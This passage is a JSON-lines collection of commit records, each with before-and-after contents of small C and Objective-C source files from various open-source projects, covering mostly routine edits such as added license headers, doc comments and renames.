{"commit":"1b74f41ca76ba09230cdc8d4196a7c6e98092ca9","old_file":"testmud\/mud\/home\/Game\/sys\/bulkd.c","new_file":"testmud\/mud\/home\/Game\/sys\/bulkd.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\nobject queue;\n\nstatic void create()\n{\n}\n","subject":"Add bulk sync daemon back again","message":"Add bulk sync daemon back again\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"b2a8283ef2108adcb67e40c8abd5283b59d2b14f","old_file":"Source\/MMMarkdown.h","new_file":"Source\/MMMarkdown.h","old_contents":"\/\/\n\/\/  MMMarkdown.h\n\/\/  MMMarkdown\n\/\/\n\/\/  Copyright (c) 2012 Matt Diephouse.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n@interface MMMarkdown : NSObject\n\n+ (NSString *)HTMLStringWithMarkdown:(NSString *)string error:(__autoreleasing NSError **)error __attribute__((nonnull(1)));\n\n@end\n","new_contents":"\/\/\n\/\/  MMMarkdown.h\n\/\/  MMMarkdown\n\/\/\n\/\/  Copyright (c) 2012 Matt Diephouse.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n@interface MMMarkdown : NSObject\n\n\/*! Converts a Markdown string to HTML.\n *\n * @param string A Markdown string. Must not be nil.\n * @param error  Out parameter used if an error occurs while parsing the Markdown. May be NULL.\n * @return An HTML string.\n *\/\n+ (NSString *)HTMLStringWithMarkdown:(NSString *)string error:(__autoreleasing NSError **)error __attribute__((nonnull(1)));\n\n@end\n","subject":"Add documentation that Xcode can find","message":"Add documentation that Xcode can find\n","lang":"C","license":"mit","repos":"jonesgithub\/MMMarkdown,isaacroldan\/MMMarkdown,mobilejazz\/MMMarkdown,isaacroldan\/AttributedMarkdown,albertbori\/MMMarkdown,iosdev-republicofapps\/MMMarkdown,gonefish\/MMMarkdown,1aurabrown\/MMMarkdown,1aurabrown\/MMMarkdown,mdiep\/MMMarkdown,isaacroldan\/AttributedMarkdown,mobilejazz\/MMMarkdown,AgileBits\/MMMarkdown,isaacroldan\/AttributedMarkdown,gonefish\/MMMarkdown,iosdev-republicofapps\/MMMarkdown,albertbori\/MMMarkdown,jonesgithub\/MMMarkdown,cnbin\/MMMarkdown,AgileBits\/MMMarkdown,isaacroldan\/MMMarkdown,albertbori\/MMMarkdown,mjzac\/MMMarkdown,isaacroldan\/AttributedMarkdown,isaacroldan\/AttributedMarkdown,babbage\/MMMarkdown,mdiep\/MMMarkdown,babbage\/MMMarkdown,cnbin\/MMMarkdown,mjzac\/MMMarkdown"}
{"commit":"ac59c3f410a9fbebed551cb0c05bfcf047adb2c4","old_file":"TDTChocolate\/TestingAdditions\/XCTAssert+TDTAdditions.h","new_file":"TDTChocolate\/TestingAdditions\/XCTAssert+TDTAdditions.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\/**\n Custom asserts that provide better error messages when the assert fails.\n *\/\n\n\/**\n Assert that @p array contains @p object\n *\/\n#define TDTXCTAssertContains(array, object) \\\nXCTAssertTrue([(array) containsObject:(object)], @\"Expected %@ to contain %@\", (array), (object))\n\n\/**\n Assert that @p string contains @p substring\n *\/\n#define TDTXCTAssertContainsString(string, substring) \\\nXCTAssertTrue([(string) tdt_containsString:(substring)], @\"Expected %@ to contain %@\", (string), (substring))\n\n\/**\n Assert that @p a is <= @p b.\n *\/\n#define TDTXCTAssertEarlierEqualDate(a, b) \\\nXCTAssertTrue([(a) tdt_isEarlierThanOrEqualToDate:(b)], @\"Expected %@ to be earlier than or same as %@\", (a), (b))\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\/**\n Custom asserts that provide better error messages when the assert fails.\n *\/\n\n\/**\n Assert that @p array contains @p object\n *\/\n#define TDTXCTAssertContains(array, object) \\\nXCTAssertTrue([(array) containsObject:(object)], @\"Expected %@ to contain %@\", (array), (object))\n\n\/**\n Assert that @p string contains @p substring\n *\/\n#define TDTXCTAssertContainsString(string, substring) \\\nXCTAssertTrue([(string) tdt_containsString:(substring)], @\"Expected %@ to contain %@\", (string), (substring))\n\n\/**\n Assert that @p a is <= @p b.\n *\/\n#define TDTXCTAssertEarlierThanOrEqualToDate(a, b) \\\nXCTAssertTrue([(a) tdt_isEarlierThanOrEqualToDate:(b)], @\"Expected %@ to be earlier than or equal to %@\", (a), (b))\n","subject":"Rename the custom assert name to reflect the underlying method","message":"Rename the custom assert name to reflect the underlying method\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/Chocolate,talk-to\/Chocolate"}
{"commit":"c72770ef3ba510bd83746aadbc3aa1b7e6b328bf","old_file":"src\/math\/p_inv.c","new_file":"src\/math\/p_inv.c","old_contents":"#include <pal.h>\n\n\/**\n *\n * Element wise inversion (reciprocal) of elements in 'a'.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @param p     Number of processor to use (task parallelism)\n *\n * @param team  Team to work with \n *\n * @return      None\n *\n *\/\n#include <math.h>\n\nvoid p_inv_f32(const float *a, float *c, int n, int p, p_team_t team)\n{\n    int i;\n    float cur;\n    for (i = 0; i < n; i++) {\n        cur = *(a + i);\n        union {\n            float f;\n            uint32_t x;\n        } u = {cur};\n\t\/* First approximation *\/\n        u.x = 0x7EF312AC - u.x;\n        \/* Refine *\/\n        u.f = u.f * (2 - u.f * cur);\n        u.f = u.f * (2 - u.f * cur);\n        *(c + i) = u.f;\n    }\n}\n","new_contents":"#include <pal.h>\n\n\/**\n *\n * Element wise inversion (reciprocal) of elements in 'a'.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @param p     Number of processor to use (task parallelism)\n *\n * @param team  Team to work with \n *\n * @return      None\n *\n *\/\n#include <math.h>\n\nvoid p_inv_f32(const float *a, float *c, int n, int p, p_team_t team)\n{\n    int i;\n    float cur;\n    for (i = 0; i < n; i++) {\n        cur = *(a + i);\n        union {\n            float f;\n            uint32_t x;\n        } u = {cur};\n        \/* First approximation *\/\n        u.x = 0x7EF312AC - u.x;\n        \/* Refine *\/\n        u.f = u.f * (2 - u.f * cur);\n        u.f = u.f * (2 - u.f * cur);\n        *(c + i) = u.f;\n    }\n}\n","subject":"Use spaces instead of tabs","message":"Use spaces instead of tabs","lang":"C","license":"apache-2.0","repos":"debug-de-su-ka\/pal,parallella\/pal,Adamszk\/pal3,Adamszk\/pal3,olajep\/pal,Adamszk\/pal3,parallella\/pal,mateunho\/pal,8l\/pal,aolofsson\/pal,RafaelRMA\/pal,debug-de-su-ka\/pal,eliteraspberries\/pal,mateunho\/pal,mateunho\/pal,aolofsson\/pal,mateunho\/pal,eliteraspberries\/pal,debug-de-su-ka\/pal,aolofsson\/pal,eliteraspberries\/pal,parallella\/pal,RafaelRMA\/pal,olajep\/pal,8l\/pal,debug-de-su-ka\/pal,8l\/pal,RafaelRMA\/pal,parallella\/pal,parallella\/pal,Adamszk\/pal3,eliteraspberries\/pal,olajep\/pal,8l\/pal,aolofsson\/pal,olajep\/pal,debug-de-su-ka\/pal,eliteraspberries\/pal,RafaelRMA\/pal,mateunho\/pal"}
{"commit":"0cd7de8ba17d298d89e6dd8680982607c49239b7","old_file":"include\/orvibo.h","new_file":"include\/orvibo.h","old_contents":"","new_contents":"#ifndef ORVIBO_H\n#define ORVIBO_H\n\n#include <net\/ethernet.h>\n#include <stdbool.h>\n\nenum orvibo_event {\n    ORVIBO_EVENT_DISCOVER,\n    ORVIBO_EVENT_SUBSCRIBE,\n    ORVIBO_EVENT_UNSUBSCRIBE,\n    ORVIBO_EVENT_OFF,\n    ORVIBO_EVENT_ON\n};\n\nenum orvibo_state {\n    ORVIBO_STATE_UNKNOWN,\n    ORVIBO_STATE_OFF,\n    ORVIBO_STATE_ON\n};\n\nstruct orvibo_socket;\n\ntypedef void (*ORVIBO_EVENT_HANDLER) (struct orvibo_socket *, enum orvibo_event);\n\nbool\norvibo_start(ORVIBO_EVENT_HANDLER handler);\n\nbool\norvibo_stop(void);\n\nstruct orvibo_socket *\norvibo_socket_create(const unsigned char mac[static ETHER_ADDR_LEN]);\n\nvoid\norvibo_socket_destroy(struct orvibo_socket *socket);\n\nconst unsigned char *\norvibo_socket_mac(const struct orvibo_socket *socket);\n\nconst char *\norvibo_socket_ip(const struct orvibo_socket *socket);\n\nbool\norvibo_socket_subscribed(const struct orvibo_socket *socket);\n\nenum orvibo_state\norvibo_socket_state(const struct orvibo_socket *socket);\n\nbool\norvibo_socket_discover(struct orvibo_socket *socket);\n\nbool\norvibo_socket_subscribe(struct orvibo_socket *socket);\n\nbool\norvibo_socket_unsubscribe(struct orvibo_socket *socket);\n\nbool\norvibo_socket_off(struct orvibo_socket *socket);\n\nbool\norvibo_socket_on(struct orvibo_socket *socket);\n\n#endif\n","subject":"Add header file for public interface","message":"Add header file for public interface\n","lang":"C","license":"bsd-3-clause","repos":"OllieDay\/orvibo,OllieDay\/orvibo"}
{"commit":"7ca370ebec19fe07ddee0dbea32c99c386ac7078","old_file":"Sources\/SPTPersistentCacheFileManager+Private.h","new_file":"Sources\/SPTPersistentCacheFileManager+Private.h","old_contents":"#import \"SPTPersistentCacheFileManager.h\"\n#import <SPTPersistentCache\/SPTPersistentCacheOptions.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/\/\/ Private interface exposed for testability.\n@interface SPTPersistentCacheFileManager ()\n\n@property (nonatomic, copy, readonly) SPTPersistentCacheOptions *options;\n@property (nonatomic, copy, readonly, nullable) SPTPersistentCacheDebugCallback debugOutput;\n@property (nonatomic, strong, readonly) NSFileManager *fileManager;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/*\n * Copyright (c) 2016 Spotify AB.\n *\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n#import \"SPTPersistentCacheFileManager.h\"\n#import <SPTPersistentCache\/SPTPersistentCacheOptions.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/\/\/ Private interface exposed for testability.\n@interface SPTPersistentCacheFileManager ()\n\n@property (nonatomic, copy, readonly) SPTPersistentCacheOptions *options;\n@property (nonatomic, copy, readonly, nullable) SPTPersistentCacheDebugCallback debugOutput;\n@property (nonatomic, strong, readonly) NSFileManager *fileManager;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add license header to private file manager header","message":"Add license header to private file manager header\n","lang":"C","license":"apache-2.0","repos":"FootballAddicts\/SPTPersistentCache,FootballAddicts\/SPTPersistentCache,chrisbtreats\/SPTPersistentCache,chrisbtreats\/SPTPersistentCache,spotify\/SPTPersistentCache,FootballAddicts\/SPTPersistentCache,spotify\/SPTPersistentCache,spotify\/SPTPersistentCache,chrisbtreats\/SPTPersistentCache,FootballAddicts\/SPTPersistentCache,chrisbtreats\/SPTPersistentCache"}
{"commit":"00e405ede61e419754bb4a82f0c4c384301db9d1","old_file":"runtime\/test\/ompt\/misc\/unset_callback.c","new_file":"runtime\/test\/ompt\/misc\/unset_callback.c","old_contents":"","new_contents":"\/\/ RUN: %libomp-compile-and-run | FileCheck %s\n\/\/ REQUIRES: ompt\n#include \"callback.h\"\n#include <omp.h>\n\nint main()\n{\n  #pragma omp parallel num_threads(1)\n  {\n\n  }\n  ompt_set_callback(ompt_callback_parallel_begin, NULL);\n  #pragma omp parallel num_threads(1)\n  {\n\n  }\n\n  \/\/ Check if libomp supports the callbacks for this test.\n  \/\/ CHECK-NOT: {{^}}0: Could not register callback 'ompt_callback_idle'\n\n  \/\/ CHECK: 0: NULL_POINTER=[[NULL:.*$]]\n\n  \/\/ CHECK: {{^}}[[THREAD_ID:[0-9]+]]: ompt_event_parallel_begin:\n  \/\/ CHECK: {{^}}[[THREAD_ID]]: ompt_event_parallel_end:\n  \/\/ CHECK-NOT: {{^}}[[THREAD_ID]]: ompt_event_parallel_begin:\n  \/\/ CHECK: {{^}}[[THREAD_ID]]: ompt_event_parallel_end:\n\n  return 0;\n}\n","subject":"Add missing test case from D41171 commit","message":"Add missing test case from D41171 commit\n\ngit-svn-id: f99161ee8ccfe2101cbe1bdda2220bce2ed25485@321270 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp"}
{"commit":"c4551d3d21053281cb36d89796948c9957b708b4","old_file":"include\/llvm\/System\/Atomic.h","new_file":"include\/llvm\/System\/Atomic.h","old_contents":"\/\/===- llvm\/System\/Atomic.h - Atomic Operations -----------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the llvm::sys atomic operations.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SYSTEM_ATOMIC_H\n#define LLVM_SYSTEM_ATOMIC_H\n\n#include <stdint.h>\n\nnamespace llvm {\n  namespace sys {\n    void MemoryFence();\n\n    typedef uint32_t cas_flag;\n    cas_flag CompareAndSwap(volatile cas_flag* ptr,\n    \t                      cas_flag new_value,\n                            cas_flag old_value);\n  }\n}\n\n#endif\n","new_contents":"\/\/===- llvm\/System\/Atomic.h - Atomic Operations -----------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the llvm::sys atomic operations.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SYSTEM_ATOMIC_H\n#define LLVM_SYSTEM_ATOMIC_H\n\n#include \"llvm\/Support\/DataTypes.h\"\n\nnamespace llvm {\n  namespace sys {\n    void MemoryFence();\n\n    typedef uint32_t cas_flag;\n    cas_flag CompareAndSwap(volatile cas_flag* ptr,\n    \t                      cas_flag new_value,\n                            cas_flag old_value);\n  }\n}\n\n#endif\n","subject":"Use DataTypes.h instead of stdint.h.","message":"Use DataTypes.h instead of stdint.h.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@72201 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"7c043e3049a6ec1b718208221ea4eed0d74e1ecd","old_file":"bindings\/f95\/plflt.c","new_file":"bindings\/f95\/plflt.c","old_contents":"\/* Auxiliary program: write the include file for determining\n   PLplot's floating-point type\n*\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include \"plConfig.h\"\n\nmain(int argc, char *argv[] )\n{\n   FILE *outfile;\n   char *kind;\n\n   outfile = fopen( \"plflt.inc\", \"w\" ) ;\n#ifdef PL_DOUBLE\n   kind = \"1.0d0\";\n#else\n   kind = \"1.0\";\n#endif\n\n   fprintf( outfile, \"C     NOTE: Generated code\\n\");\n   fprintf( outfile, \"C\\n\");\n   fprintf( outfile, \"C     Type of floating-point numbers in PLplot\\n\");\n   fprintf( outfile, \"C\\n\");\n   fprintf( outfile, \"      integer, parameter :: plf   = kind(%s)\\n\", kind);\n   fprintf( outfile, \"      integer, parameter :: plflt = plf\\n\");\n   fclose( outfile);\n}\n","new_contents":"\/* Auxiliary program: write the include file for determining\n   PLplot's floating-point type\n*\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include \"plConfig.h\"\n\nmain(int argc, char *argv[] )\n{\n   FILE *outfile;\n   char *kind;\n\n   outfile = fopen( \"plflt.inc\", \"w\" ) ;\n#ifdef PL_DOUBLE\n   kind = \"1.0d0\";\n#else\n   kind = \"1.0\";\n#endif\n\n   fprintf( outfile, \"!     NOTE: Generated code\\n\");\n   fprintf( outfile, \"!\\n\");\n   fprintf( outfile, \"!     Type of floating-point numbers in PLplot\\n\");\n   fprintf( outfile, \"!\\n\");\n   fprintf( outfile, \"      integer, parameter :: plf   = kind(%s)\\n\", kind);\n   fprintf( outfile, \"      integer, parameter :: plflt = plf\\n\");\n   fclose( outfile);\n}\n","subject":"Transform the fortran result of this executable to free form.","message":"Transform the fortran result of this executable to free form.\n\nsvn path=\/trunk\/; revision=6513\n","lang":"C","license":"lgpl-2.1","repos":"FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot"}
{"commit":"9ed71f0c0945ecdfc7f49919ab4168a48b08cd94","old_file":"ports\/atmel-samd\/boards\/cytron_maker_zero_samd21\/mpconfigboard.h","new_file":"ports\/atmel-samd\/boards\/cytron_maker_zero_samd21\/mpconfigboard.h","old_contents":"","new_contents":"#define MICROPY_HW_BOARD_NAME \"Cytron Maker Zero SAMD21\"\n#define MICROPY_HW_MCU_NAME \"samd21g18\"\n\n#define MICROPY_HW_LED_TX   &pin_PA27\n#define MICROPY_HW_LED_RX   &pin_PB03\n\n#define DEFAULT_I2C_BUS_SCL (&pin_PA23)\n#define DEFAULT_I2C_BUS_SDA (&pin_PA22)\n\n#define DEFAULT_SPI_BUS_SCK (&pin_PB11)\n#define DEFAULT_SPI_BUS_MOSI (&pin_PB10)\n#define DEFAULT_SPI_BUS_MISO (&pin_PA12)\n\n#define DEFAULT_UART_BUS_RX (&pin_PA11)\n#define DEFAULT_UART_BUS_TX (&pin_PA10)\n\n\/\/ USB is always used internally so skip the pin objects for it.\n#define IGNORE_PIN_PA24     1\n#define IGNORE_PIN_PA25     1\n\n\/\/ Connected to a crystal\n#define IGNORE_PIN_PA00     1\n#define IGNORE_PIN_PA01     1\n\n\/\/ SWD-only\n#define IGNORE_PIN_PA30     1\n#define IGNORE_PIN_PA31     1\n","subject":"Add Cytron Maker Zero SAMD21","message":"Add Cytron Maker Zero SAMD21","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"5394589f53072a71942a11695470d7ca97ab7a70","old_file":"tests\/testTime.c","new_file":"tests\/testTime.c","old_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <sys\/time.h>\n#include <time.h>\n#include <unistd.h>\n\nint main(int argc, char **argv) {\n    struct timeval  tv;\n    struct timezone tz;\n    struct tm      *tm;\n\n    gettimeofday(&tv, &tz);\n    tm = localtime(&tv.tv_sec);\n\n    char timestr[128];\n    size_t length = strftime(timestr, 128, \"%F %T\", tm);\n    snprintf(timestr+length, 128-length, \".%ld\", tv.tv_usec\/1000);\n    printf(\"Time string: %s\\n\", timestr);\n}","new_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <sys\/time.h>\n#include <time.h>\n#include <unistd.h>\n#include \"..\/..\/bluez-5.28\/lib\/bluetooth.h\"\n\nint main(int argc, char **argv) {\n    struct timeval  tv;\n    struct timezone tz;\n    struct tm      *tm;\n\n    gettimeofday(&tv, &tz);\n    tm = localtime(&tv.tv_sec);\n\n    char timestr[128];\n    size_t length = strftime(timestr, 128, \"%F %T\", tm);\n    snprintf(timestr+length, 128-length, \".%ld\", tv.tv_usec\/1000);\n    printf(\"Time string: %s\\n\", timestr);\n\n    long ms = htobl(tv.tv_sec)*1000 + htobl(tv.tv_usec)\/1000;\n    int64_t ms64 = htobl(tv.tv_sec)*1000 + htobl(tv.tv_usec)\/1000;\n    printf(\"Sizeof(long) = %d, ms=%ld, ms64=%ld\\n\", sizeof(ms), ms, ms64);\n}","subject":"Test long size and timeval to long conversion","message":"Test long size and timeval to long conversion\n","lang":"C","license":"apache-2.0","repos":"starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser"}
{"commit":"53ed2c4576f6e25c3c409d61c1f59b7221631554","old_file":"Source\/Core\/Helpers\/HCReturnTypeHandler.h","new_file":"Source\/Core\/Helpers\/HCReturnTypeHandler.h","old_contents":"\/\/\n\/\/  OCHamcrest - HCReturnTypeHandler.h\n\/\/  Copyright 2014 hamcrest.org. See LICENSE.txt\n\/\/\n\/\/  Created by: Jon Reid, http:\/\/qualitycoding.org\/\n\/\/  Docs: http:\/\/hamcrest.github.com\/OCHamcrest\/\n\/\/  Source: https:\/\/github.com\/hamcrest\/OCHamcrest\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n@interface HCReturnTypeHandler : NSObject\n\n@property (nonatomic, strong) HCReturnTypeHandler *successor;\n\n- (instancetype)initWithType:(char const *)handlerType;\n- (id)valueForReturnType:(char const *)type fromInvocation:(NSInvocation *)invocation;\n\n@end\n","new_contents":"\/\/\n\/\/  OCHamcrest - HCReturnTypeHandler.h\n\/\/  Copyright 2014 hamcrest.org. See LICENSE.txt\n\/\/\n\/\/  Created by: Jon Reid, http:\/\/qualitycoding.org\/\n\/\/  Docs: http:\/\/hamcrest.github.com\/OCHamcrest\/\n\/\/  Source: https:\/\/github.com\/hamcrest\/OCHamcrest\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n\/**\n Chain-of-responsibility for handling NSInvocation return types.\n *\/\n@interface HCReturnTypeHandler : NSObject\n\n@property (nonatomic, strong) HCReturnTypeHandler *successor;\n\n- (instancetype)initWithType:(char const *)handlerType;\n- (id)valueForReturnType:(char const *)type fromInvocation:(NSInvocation *)invocation;\n\n@end\n","subject":"Add comment to explicitly identify Chain of Responsibility","message":"Add comment to explicitly identify Chain of Responsibility\n","lang":"C","license":"bsd-2-clause","repos":"hamcrest\/OCHamcrest,hamcrest\/OCHamcrest,klundberg\/OCHamcrest,klundberg\/OCHamcrest,hamcrest\/OCHamcrest"}
{"commit":"f90bb76d0ea96d1a6115fec0f5a922832b02759c","old_file":"Interfaces\/WorldLogicInterface.h","new_file":"Interfaces\/WorldLogicInterface.h","old_contents":"\/**\n *  For conditions of distribution and use, see copyright notice in license.txt\n *\n *  @file   WorldLogicInterface.h\n *  @brief  \n *\/\n\n#include \"ServiceInterface.h\"\n\n#ifndef incl_Interfaces_WorldLogicInterface_h\n#define incl_Interfaces_WorldLogicInterface_h\n\n#include \"ForwardDefines.h\"\n\n#include <QObject>\n\nclass QString;\n\nnamespace Foundation\n{\n    class WorldLogicInterface : public QObject, public ServiceInterface\n    {\n        Q_OBJECT\n\n    public:\n        \/\/\/ Default constructor.\n        WorldLogicInterface() {}\n\n        \/\/\/ Destructor.\n        virtual ~WorldLogicInterface() {}\n\n        \/\/\/ Returns user's avatar entity.\n        virtual Scene::EntityPtr GetUserAvatarEntity() const = 0;\n\n        \/\/\/ Returns currently active camera entity.\n        virtual Scene::EntityPtr GetCameraEntity() const = 0;\n\n        \/\/\/ Returns entity with certain entity component in it or null if not found.\n        \/\/\/ @param entity_id Entity ID.\n        \/\/\/ @param component Type name of the component.\n        virtual Scene::EntityPtr GetEntityWithComponent(uint entity_id, const QString &component) const = 0;\n\n        \/\/\/ Hack function for getting EC_AvatarAppearance info to UiModule\n        virtual const QString &GetAvatarAppearanceProperty(const QString &name) const = 0;\n\n    signals:\n        \/\/\/ Emitted just before we start to delete world (scene).\n        void AboutToDeleteWorld();\n    };\n}\n\n#endif\n","new_contents":"\/**\n *  For conditions of distribution and use, see copyright notice in license.txt\n *\n *  @file   WorldLogicInterface.h\n *  @brief  \n *\/\n\n#ifndef incl_Interfaces_WorldLogicInterface_h\n#define incl_Interfaces_WorldLogicInterface_h\n\n#include \"ServiceInterface.h\"\n#include \"ForwardDefines.h\"\n\n#include <QObject>\n\nclass QString;\n\nnamespace Foundation\n{\n    class WorldLogicInterface : public QObject, public ServiceInterface\n    {\n        Q_OBJECT\n\n    public:\n        \/\/\/ Default constructor.\n        WorldLogicInterface() {}\n\n        \/\/\/ Destructor.\n        virtual ~WorldLogicInterface() {}\n\n        \/\/\/ Returns user's avatar entity.\n        virtual Scene::EntityPtr GetUserAvatarEntity() const = 0;\n\n        \/\/\/ Returns currently active camera entity.\n        virtual Scene::EntityPtr GetCameraEntity() const = 0;\n\n        \/\/\/ Returns entity with certain entity component in it or null if not found.\n        \/\/\/ @param entity_id Entity ID.\n        \/\/\/ @param component Type name of the component.\n        virtual Scene::EntityPtr GetEntityWithComponent(uint entity_id, const QString &component) const = 0;\n\n        \/\/\/ Hack function for getting EC_AvatarAppearance info to UiModule\n        virtual const QString &GetAvatarAppearanceProperty(const QString &name) const = 0;\n\n    signals:\n        \/\/\/ Emitted just before we start to delete world (scene).\n        void AboutToDeleteWorld();\n    };\n}\n\n#endif\n","subject":"Move include within include guards.","message":"Move include within include 